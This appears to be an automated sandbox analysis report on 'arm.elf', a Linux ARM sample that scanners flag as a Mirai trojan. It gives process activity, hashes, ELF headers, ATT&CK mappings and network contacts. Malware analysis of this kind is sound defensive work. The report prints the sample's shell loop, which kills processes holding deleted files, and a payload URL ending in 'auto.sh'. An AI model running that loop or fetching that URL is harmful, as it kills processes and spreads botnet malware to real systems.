Source: /bin/sh (PID: 7344)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/675/maps	Jump to behavior
Source: /bin/sh (PID: 7345)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/676/maps	Jump to behavior
Source: /bin/sh (PID: 7347)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/677/maps	Jump to behavior
Source: /bin/sh (PID: 7348)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/720/maps	Jump to behavior
Source: /bin/sh (PID: 7349)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/721/maps	Jump to behavior
Source: /bin/sh (PID: 7351)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/759/maps	Jump to behavior
Source: /bin/sh (PID: 7352)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/761/maps	Jump to behavior
Source: /bin/sh (PID: 7353)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/77/maps	Jump to behavior
Source: /bin/sh (PID: 7354)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/772/maps	Jump to behavior
Source: /bin/sh (PID: 7355)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/774/maps	Jump to behavior
Source: /bin/sh (PID: 7356)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/777/maps	Jump to behavior
Source: /bin/sh (PID: 7357)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/78/maps	Jump to behavior
Source: /bin/sh (PID: 7358)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/785/maps	Jump to behavior
Source: /bin/sh (PID: 7359)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/788/maps	Jump to behavior
Source: /bin/sh (PID: 7360)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/789/maps	Jump to behavior
Source: /bin/sh (PID: 7361)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/79/maps	Jump to behavior
Source: /bin/sh (PID: 7362)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/793/maps	Jump to behavior
Source: /bin/sh (PID: 7363)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/796/maps	Jump to behavior
Source: /bin/sh (PID: 7364)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/797/maps	Jump to behavior
Source: /bin/sh (PID: 7365)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/799/maps	Jump to behavior
Source: /bin/sh (PID: 7366)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/80/maps	Jump to behavior
Source: /bin/sh (PID: 7367)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/800/maps	Jump to behavior
Source: /bin/sh (PID: 7368)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/801/maps	Jump to behavior
Source: /bin/sh (PID: 7369)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/81/maps	Jump to behavior
Source: /bin/sh (PID: 7370)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/82/maps	Jump to behavior
Source: /bin/sh (PID: 7371)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/83/maps	Jump to behavior
Source: /bin/sh (PID: 7372)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/84/maps	Jump to behavior
Source: /bin/sh (PID: 7373)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/840/maps	Jump to behavior
Source: /bin/sh (PID: 7374)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/847/maps	Jump to behavior
Source: /bin/sh (PID: 7375)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/85/maps	Jump to behavior
Source: /bin/sh (PID: 7376)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/88/maps	Jump to behavior
Source: /bin/sh (PID: 7377)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/884/maps	Jump to behavior
Source: /bin/sh (PID: 7378)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/89/maps	Jump to behavior
Source: /bin/sh (PID: 7379)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/896/maps	Jump to behavior
Source: /bin/sh (PID: 7380)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/9/maps	Jump to behavior
Source: /bin/sh (PID: 7381)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/904/maps	Jump to behavior
Source: /bin/sh (PID: 7384)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/91/maps	Jump to behavior
Source: /bin/sh (PID: 7385)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/910/maps	Jump to behavior
Source: /bin/sh (PID: 7386)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/912/maps	Jump to behavior
Source: /bin/sh (PID: 7387)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/918/maps	Jump to behavior
Source: /bin/sh (PID: 7388)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/92/maps	Jump to behavior
Source: /bin/sh (PID: 7389)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/93/maps	Jump to behavior
Source: /bin/sh (PID: 7390)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/936/maps	Jump to behavior
Source: /bin/sh (PID: 7391)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/94/maps	Jump to behavior
Source: /bin/sh (PID: 7392)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/95/maps	Jump to behavior
Source: /bin/sh (PID: 7393)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/96/maps	Jump to behavior
Source: /bin/sh (PID: 7394)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/97/maps	Jump to behavior
Source: /bin/sh (PID: 7395)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/98/maps	Jump to behavior
Source: /bin/sh (PID: 7396)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/99/maps	Jump to behavior
Source: /bin/sh (PID: 6946)	Grep executable: /usr/bin/grep -> grep -F .utf8

Source: /usr/lib/accountsservice/accounts-daemon (PID: 6911)	File: /var/lib/AccountsService/icons (bits: - usr: rx grp: rwx all: rwx)
Source: /usr/lib/accountsservice/accounts-daemon (PID: 6911)	File: /var/lib/AccountsService/users (bits: - usr: - grp: - all: rwx)

Source: /usr/bin/gnome-shell (PID: 6305)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/xfwm4 (PID: 6539)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd (PID: 6633)	Reads CPU info from /sys: /sys/devices/system/cpu/online

Source: /tmp/arm.elf (PID: 6238)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/gnome-shell (PID: 6305)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/libexec/ibus-x11 (PID: 6816)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/libexec/gsd-media-keys (PID: 6333)	Queries kernel information via 'uname':
Source: /lib/systemd/systemd-hostnamed (PID: 6371)	Queries kernel information via 'uname':
Source: /usr/bin/xfwm4 (PID: 6539)	Queries kernel information via 'uname':
Source: /usr/bin/xfce4-panel (PID: 6545)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6798)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6800)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6802)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6803)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6807)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6821)	Queries kernel information via 'uname':
Source: /usr/bin/xfdesktop (PID: 6552)	Queries kernel information via 'uname':
Source: /usr/bin/xfwm4 (PID: 6593)	Queries kernel information via 'uname':
Source: /usr/bin/xfdesktop (PID: 6618)	Queries kernel information via 'uname':
Source: /usr/lib/x86_64-linux-gnu/tumbler-1/tumblerd (PID: 6633)	Queries kernel information via 'uname':
Source: /usr/bin/xfwm4 (PID: 6795)	Queries kernel information via 'uname':
Source: /usr/bin/xfwm4 (PID: 6836)	Queries kernel information via 'uname':
Source: /usr/bin/xfwm4 (PID: 6922)	Queries kernel information via 'uname':
Source: /usr/libexec/fprintd (PID: 7206)	Queries kernel information via 'uname':

Source: arm.elf, 6238.1.000055fa55e08000.000055fa55f36000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm.elf, 6238.1.00007ffcc2441000.00007ffcc2462000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.elf
Source: arm.elf, 6238.1.000055fa55e08000.000055fa55f36000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.elf, 6238.1.00007ffcc2441000.00007ffcc2462000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Language, Device and Operating System Detection

Reads system files that contain records of logged in users

Source: /usr/lib/accountsservice/accounts-daemon (PID: 6911)

Logged in records file read: /var/log/wtmp

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	2 Scripting	Path Interception	1 File and Directory Permissions Modification	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Hidden Files and Directories	LSASS Memory	1 System Owner/User Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm.elf	54%	ReversingLabs	Linux.Trojan.Mirai
arm.elf	100%	Avira	EXP/ELF.Mirai.W

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://154.216.18.192/auto.sh	0%	Avira URL Cloud	safe
http://154.216.18.192/auto.sh;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://154.216.18.192/auto.sh	arm.elf	false	Avira URL Cloud: safe	unknown
http://154.216.18.192/auto.sh;	arm.elf	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	boatnet.arc.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse
	89.250.72.36-mipsel-2024-12-31T13_33_09.elf	Get hash	malicious	Gafgyt	Browse
	Aqua.arm7.elf	Get hash	malicious	Mirai	Browse
91.189.91.42	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	boatnet.arc.elf	Get hash	malicious	Mirai	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse
	89.250.72.36-mipsel-2024-12-31T13_33_09.elf	Get hash	malicious	Gafgyt	Browse
	Aqua.arm7.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	89.250.72.36-mipsel-2024-12-31T13_33_09.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	boatnet.arm6.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
CANONICAL-ASGB	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	89.250.72.36-mipsel-2024-12-31T13_33_09.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	boatnet.arm6.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
INIT7CH	boatnet.arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	boatnet.arm.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	boatnet.arc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	89.250.72.36-mipsel-2024-12-31T13_33_09.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202
	Aqua.arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/run/user/1000/dconf/user

Download File

Process:	/usr/libexec/gvfs-udisks2-volume-monitor
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.

/run/user/127/dconf/user

Download File

Process:	/usr/libexec/gsd-media-keys
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.

/tmp/server-0.xkm

Download File

Process:	/usr/bin/xkbcomp
File Type:	Compiled XKB Keymap: lsb, version 15
Category:	dropped
Size (bytes):	12060
Entropy (8bit):	4.8492493153178975
Encrypted:	false
SSDEEP:	192:tDyb2zOmnECQmwTVFfLaSLus4UVcqLkjoqdD//HJeCQ1+JdDx0s2T:tDyAxvYhFf+S6tUzmp7/1MJ
MD5:	B4E3EB0B8B6B0FC1F46740C573E18D86
SHA1:	7D35426357695EBA77850757E8939A62DCEFF2D1
SHA-256:	7951135CC89A6E89493E3A9997C3D9054439459F8BFCE3DDEC76B943DA79FA91
SHA-512:	8196A23E2B5E525A5581562A2D7F2EE4FF5B694FEF3E218206D52EA9BFE80600BB0C6AA8968CA58E93E1AAD478FA05E157D08DB6D4D1224DDEA6754E377BE001
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.mkx..............D.......................h.......<.....P.@%.......&......D.......NumLock.....Alt.....LevelThree..LAlt....RAlt....RControl....LControl....ScrollLock..LevelFive...AltGr...Meta....Super...Hyper...........evdev+aliases(qwerty)...!.....ESC.AE01AE02AE03AE04AE05AE06AE07AE08AE09AE10AE11AE12BKSPTAB.AD01AD02AD03AD04AD05AD06AD07AD08AD09AD10AD11AD12RTRNLCTLAC01AC02AC03AC04AC05AC06AC07AC08AC09AC10AC11TLDELFSHBKSLAB01AB02AB03AB04AB05AB06AB07AB08AB09AB10RTSHKPMULALTSPCECAPSFK01FK02FK03FK04FK05FK06FK07FK08FK09FK10NMLKSCLKKP7.KP8.KP9.KPSUKP4.KP5.KP6.KPADKP1.KP2.KP3.KP0.KPDLLVL3....LSGTFK11FK12AB11KATAHIRAHENKHKTGMUHEJPCMKPENRCTLKPDVPRSCRALTLNFDHOMEUP..PGUPLEFTRGHTEND.DOWNPGDNINS.DELEI120MUTEVOL-VOL+POWRKPEQI126PAUSI128I129HNGLHJCVAE13LWINRWINCOMPSTOPAGAIPROPUNDOFRNTCOPYOPENPASTFINDCUT.HELPI147I148I149I150I151I152I153I154I155I156I157I158I159I160I161I162I163I164I165I166I167I168I169I170I171I172I173I174I175I176I177I178I179I180I181I182I183I184I185I186I187I188I189I190FK13FK14FK15FK16FK17FK18

/var/lib/gdm3/.config/ibus/bus/ee49dfd4fa47433baee88884e2d7de7c-unix-0

Download File

Process:	/usr/bin/ibus-daemon
File Type:	ASCII text
Category:	dropped
Size (bytes):	381
Entropy (8bit):	5.163250216639793
Encrypted:	false
SSDEEP:	6:SbF4b2sONeZVkSoQ65EfqFFAU+qmnQT23msRvkTFacecf8h/zKLGWWlDN19Pv:q5sU3LWfLUDmQymqSFbfomS/DNfPv
MD5:	C0E8BDFAECE4DCB328DF0111AEE27327
SHA1:	746E3EE85D23AD6455CCDF2169D94C2696A0651B
SHA-256:	62BB453756F7A144A1EB6C7FE9631836F8FB6BC9C2062C2C4F28008539F0042C
SHA-512:	838B91912FA3F507F5D6EEEE43C1687A75D71716F023B404F3F1BBD864ED25766B89B13C53A0D0542E3BAA1419E6E1E94046D19D50C245FC40DD4D4F6AFBBBA1
Malicious:	false
Reputation:	low
Preview:	# This file is created by ibus-daemon, please do not modify it..# This file allows processes on the machine to find the.# ibus session bus with the below address..# If the IBUS_ADDRESS environment variable is set, it will.# be used rather than this file..IBUS_ADDRESS=unix:abstract=/var/lib/gdm3/.cache/ibus/dbus-KFqNciF7,guid=6115a4426b668b70d2ad5cf56774353e.IBUS_DAEMON_PID=6796.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	5.813486432035946
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm.elf
File size:	87'440 bytes
MD5:	6d540ee3573bee4f63cbffac9466d013
SHA1:	99e2dcde9a1fc6300130829d59876e7f9c056e55
SHA256:	3c77fd70d6efc232db2ed2c0411b09454da2bce8b7e55184dd40b8922f152252
SHA512:	23e3dfee97c4c0ae49ca81e4821c784f75cb7e12a84bda4169fa8497fc59b2317d7ce26ff77c2be2b22824876d9fa5678d59763c2b7e57edec2bf2347e460453
SSDEEP:	1536:Wk+F7bZlExN6t0J/haQlMov8tD6msq3wJUs9G1FevmvJe:Wk+H6lZUtDr13wJLNEJe
TLSH:	0D833A91BC815A23C6D512BBFB6E428D372653A8D3DF3207DD266F21378A92B0D77241
File Content Preview:	.ELF...a..........(.........4....T......4. ...(......................F...F...............P...P...P..................Q.td..................................-...L."....F..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	87040
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x11ac4	0x0	0x6	AX	16
.fini	PROGBITS	0x19b74	0x11b74	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x19b88	0x11b88	0x2b1c	0x0	0x2	A	4
.ctors	PROGBITS	0x25000	0x15000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x25008	0x15008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x25014	0x15014	0x3ac	0x0	0x3	WA	4
.bss	NOBITS	0x253c0	0x153c0	0xe714	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x153c0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x146a4	0x146a4	5.9419	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x15000	0x25000	0x25000	0x3c0	0xead4	2.7773	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 19:17:06.335118055 CET	43928	443	192.168.2.23	91.189.91.42
Dec 31, 2024 19:17:11.710359097 CET	42836	443	192.168.2.23	91.189.91.43
Dec 31, 2024 19:17:12.990185976 CET	42516	80	192.168.2.23	109.202.202.202
Dec 31, 2024 19:17:26.300358057 CET	43928	443	192.168.2.23	91.189.91.42
Dec 31, 2024 19:17:38.586657047 CET	42836	443	192.168.2.23	91.189.91.43
Dec 31, 2024 19:17:42.682090998 CET	42516	80	192.168.2.23	109.202.202.202
Dec 31, 2024 19:18:07.254692078 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: arm.elf PID: 6238, Parent PID: 6159

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/tmp/arm.elf
Arguments:	/tmp/arm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6240, Parent PID: 6238

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 6240, Parent PID: 6238

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	sh -c "for pid in $(ls /proc \| grep -E '^[0-9]+$'); do grep -q '(deleted)' /proc/$pid/maps && kill -9 $pid \|\| true; done;"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6246, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6247, Parent PID: 6246

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: ls PID: 6247, Parent PID: 6246

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/ls
Arguments:	ls /proc
File size:	142144 bytes
MD5 hash:	e7793f15c2ff7e747b4bc7079f5cd4f7

Chronological Activities

Analysis Process: sh PID: 6248, Parent PID: 6246

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6248, Parent PID: 6246

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -E ^[0-9]+$
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6249, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6249, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6250, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6250, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/10/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6251, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6251, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/100/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6252, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6252, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/101/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6253, Parent PID: 6240

General

Start time (UTC):	18:17:04
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6253, Parent PID: 6240

General

Start time (UTC):	18:17:04
